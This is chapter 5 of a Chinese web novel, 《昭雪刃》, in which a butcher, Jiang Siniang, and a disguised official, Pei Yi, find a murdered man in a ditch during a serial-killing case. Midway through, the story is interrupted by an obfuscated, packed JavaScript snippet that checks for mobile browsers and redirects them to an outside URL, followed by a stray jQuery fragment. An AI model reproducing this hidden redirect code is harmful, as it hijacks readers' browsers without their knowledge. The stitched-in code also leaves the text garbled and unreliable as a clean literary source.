5. 第 5 章
作品:《昭雪刃》 裴翊暗中将手中石子丢下,抬眼看向面前声音的来源。
众人都被这一句女声吸引,纷纷回头往后看。只见手拿杀猪刀的姜四娘从巷口走出,快步略过看热闹的众人,大力将手中的杀猪刀砍入肉铺案板中,接着回头环视众人,“是谁在闹事?”
在看热闹中的群众里有一些之前在县衙见识过姜四娘不畏惧尸体敢与争辩的气魄,怕惹上麻烦纷纷远离肉铺归家去了。
渐渐地肉铺周围就只剩下那名壮汉以及姜四娘和裴翊。四娘先是给了裴翊一个宽慰的眼神,接着捡起地上那段五花肉,看向身旁壮汉。“你是何人,为何有意为难?”
“你这小白脸!堂堂大丈夫居然要让一介女流前来救你!哈哈哈哈!”壮汉没有理会四娘的询问,指着裴翊大声哂笑。
四娘拧眉,胸腔内怒气上涌,刚想拎起杀猪刀就要和壮汉比划一番,却被裴翊拦住,四娘看着裴翊对自己轻轻摇头,咬牙放下手中杀猪刀。
那壮汉似乎还想要纠缠一番,却被从西街跑来传话的男子喊回了家中。
“什么?我家夫人脚扭伤了!我立刻归家!”壮汉急忙赶回家去,没有再和裴翊四娘二人争论。
四娘和裴翊二人面面相觑,四娘忍不住笑出来“这不讲理的莽汉子居然还是个疼夫人的。”
裴翊皱眉看向日晷,“糟了,经他这样一闹,今日的肉怕是要剩下一些了。”
四娘却不以为然,“不早了,趁早收摊回家去。家里好久没开荤了,剩下的肉你今天全给做了,如何?”
裴翊轻笑,和四娘一起收拾肉铺剩下的猪肉,关闭铺面后二人一起在夕阳里返家,经过村口时二人将预留的骨头和猪内脏喂给了窝在树下的大黄和小黑。
不久后,四娘的屋舍上方慢慢升起阵阵炊烟。
*
经过上次被人在肉铺闹事,四娘每天都陪同着裴翊出门卖肉。到了饭点时,四娘让裴翊一个人顾着肉铺,自己前去吃街角那家驴肉火烧。四娘拿着油纸包好的火烧准备返回肉铺时,却看到一群人围着不远处的县衙告示栏。秉着看热闹的心态,四娘也凑了上去,挤不进人群只好围在人群后垫脚去看张贴的告示上写着什么。
还没看清告示上的文字,就听见前面几人在低声讨论。
“这是这些日子里死的第几个了?”
“应该是第四个了。”
“那你说为何这些被杀的都是城里腹中有些墨水的小白脸啊。”
“那咱们这些大老粗自然是不必担惊受怕。”
“倒也不是这样的说法,你没听说那东街头住着的张老三最近也失踪了。”
“竟然还有此事!”
......
姜四娘大概听明白了些,最近城中小有名气的四位长相端秀的青年读书人无端被杀,凶手手段残忍,在城中引起了不小的恐慌。县令想即刻破案可惜心有余而证据不足,所以贴出告示四处找寻有关凶手的线索。告示栏前人群渐渐散去,四娘却看着告示上另一幅寻人启事愣了神。
“东街头张老三......这不是那天那个!”
寻人启事告示上的画像正是那日傍晚在肉铺无端闹事的那位惧内壮汉!
四娘拿着两包驴肉火烧站在告示前思索良久,回神后才想起还没去给裴翊送去吃食,于是先行返回了肉铺。
午后,四娘心里总是念着今日午时在告示看到的案子,没过申时便拉着裴翊匆匆收摊回家。到家后,四娘和裴翊说明了今日听闻到的那起案子以及张老三失踪的消息,四娘总觉得这两起案子隐隐是冲着她和阿蠢来的。
裴翊却安慰四娘是最近屠猪卖肉太过辛劳难免多想,让她今晚早点休息。
夜晚,在确定四娘已然睡下后,裴翊匆匆踏着月色朝着县衙方向赶去。又是同样以不惊扰到他人的方式翻墙进入县衙内县令住处,但是这张承德却好似早就知道今晚裴翊会来,早早屏退他人在前厅等待。
“少卿大人,下官等候多时了。”
“你又怎知我会前来?”裴翊坐在太师椅上,品着茶水。
张承德站着躬身请罪,不时用衣袖抹去额发上的汗水,“不瞒少卿大人,最近县内出了连环命案,可惜衙内能力有限,此案迟迟未能侦破!百姓们惶恐不安,下官也难辞其咎啊!”
“我如今隐藏身份执行公务,不可擅自插手此案。但你拿着这封信前往邕州找崔长史,他看到信后自会前来协助你。”裴翊递给张承德一封信函。
张承德如获至宝般赶忙收下信件,“谢少卿大人!”
裴翊走到院门,发现四娘披着外衣坐在院内,并且在院内木桌上点了根微弱的烛火。裴翊走近才发现四娘脸上的紧张情绪,“你去何处了?为何今晚我去你房内却不见你人影?”
裴翊脸不红心不跳地扯着谎,“前些日子大黄不是摔折了腿,我去村口给它送了些吃食。”
“以后你不准独自在城内各处奔走。你又不是不知道当前城内这个杀手的目标就是你这种俊美公子,以你这羸弱的身子骨遇上了他怕是不能落得个全尸!”说完四娘便吹灭桌上的蜡烛,裹着外衣回了房。
只留下裴翊在月光下呆呆地看着院中四娘刚刚坐着的石凳。
寂静许久后,小院里传来一声低笑。
*
自从城内出了杀人案后,四娘每时每刻都隐隐感到惴惴不安。为此四娘不再屠猪也不让裴翊出门卖肉去,此时有正值春耕农忙,虽然姜四娘家中世代以肉铺为生,但在姜氏祖上也给后辈留下了一亩几分良田。
正所谓春耕、夏耘、秋收、冬藏,四者不失时,故五谷不绝,而百姓有余食也。
一年之计在于春,春耕就是指在春季播种之前翻松土地,这样播下的种子就能顺利扎根了。
为了不再多想四娘就想着给自己找些事情做,便拿着锄头和犁耙,背起背篓便拉着裴翊赶往村北的田野。
此时晨光微露,长风沛雨,万物复苏。正是嫩绿轻拂柳丝长,花影摇曳春意昂。
四娘头戴头巾将发髻挽起,卷起衣袖,站在田埂向下望去。身旁的裴翊被身上背着装满农具的竹篓压弯了身子,慢吞吞地攀上田埂。
“看!那块就是咱家的地!”四娘用手指向北方的一小块地。
“那咱们快些前往吧,早些回家吃饭。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262918|166545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二人刚到自家田野将农具放下,裴翊却隐约在青草香气中闻到一丝不同寻常的血腥气。
“四娘。你可有闻到什么气味?”
四娘放下手里的农具,鼻子用力嗅了嗅,“好像真的有一股......血腥气!”
可这方圆百里皆是农田,二人环顾四周也没见得有牲畜或是人的尸体。正当二人迷惑不解之际,四娘猛然想起了什么,“这周围有一条防洪灌溉的沟渠。”
二人往那条沟渠走去,越是接近沟渠那股血腥腐臭味就越是浓厚。直到二人站在沟渠边往下看去,那条原本清澈见底的河渠中央四仰八叉地躺着一具头面部朝下的尸体,尸体半数被浸泡在溪水中,涓涓细流的河水不断略过尸身带走一些腐肉,也掩盖了半数腐尸的气味。
四娘和裴翊皱眉面色凝重地和对方对视了一眼,四娘总觉得这具尸体的背影有一些熟悉。四娘没再多想,和裴翊合计着还是要先把这具尸体打捞上岸。
死者是一个身高八尺体型肥壮的成年男子,光靠裴翊一人将他携上岸来似是有些勉强,最终是四娘和裴翊二人协力将尸体抬到了岸边。
等到二人将这无名尸翻过身来时,四娘不禁瞪大了双眼。这尸身应是在这河水中浸泡着有一段时间了,尸体虽面目浮肿但是还是能依稀辨别面容。
“这是......这不就是那寻人启事告示上的......张老三!”
也是那天来姜氏肉铺闹事以至于和四娘以及裴翊起了些口角的那名壮汉。
短短不过数日,城中已经出现五起命案。四娘拧眉观察着尸身,满腹疑惑未解,“根据衙门对之前那四起命案的归纳判断,凶手的目标似乎是长相端秀且尚未婚配的青年读书人,为何这张老三也会遭此毒手?”
裴翊蹲下仔细观察着尸体,“这起案子和之前那四起是否是同一人所为,此时还尚不能定论。”
裴翊站起身来,“四娘你且在此守着尸体,我去县衙报官。”
四娘点了点头,“你小心些。”
“放心,我去去就回。”说罢裴翊便匆匆离去。
裴翊离开后,四娘才蹲下细细打量着面前的尸身。
尸体面部表情十分诡异,像是在笑,但双目瞪大眼球呈瘀血状又似是死不瞑目。死者胸腹部有一处刀刺伤以及一处长一尺的伤口。尸体衣物不整,在裸露出的皮肤上,如颜面部,手心,胸腹部依稀看见一些尸斑,且尸斑呈现出诡异的樱桃红色。
四娘找来树叶包裹住食指,然后用食指按住尸体胸部的尸斑,尸斑受到压迫后褪色,四娘将手指抬起,原本受压迫而褪色的尸斑又再次恢复了颜色。四娘又捡来一根树枝拨弄尸体的掌心皮肤,虽然死者手掌开始变白且手指出现褶皱,但即使被用力拨弄皮肤也没有脱落。
“看来这里并不是张老三被杀死的地点,而是凶手的抛尸地。”
四娘用树枝轻轻拨开张老三的上身衣物,慢慢露出胸前皮肤上的伤口。
只见那处刀刺伤创口小但伤口较深,而切割伤伤口虽长但十分低浅平滑。姜四娘越看这创口越觉得有些熟悉。
能产生这种创口的凶器怎么那么像——杀猪刀!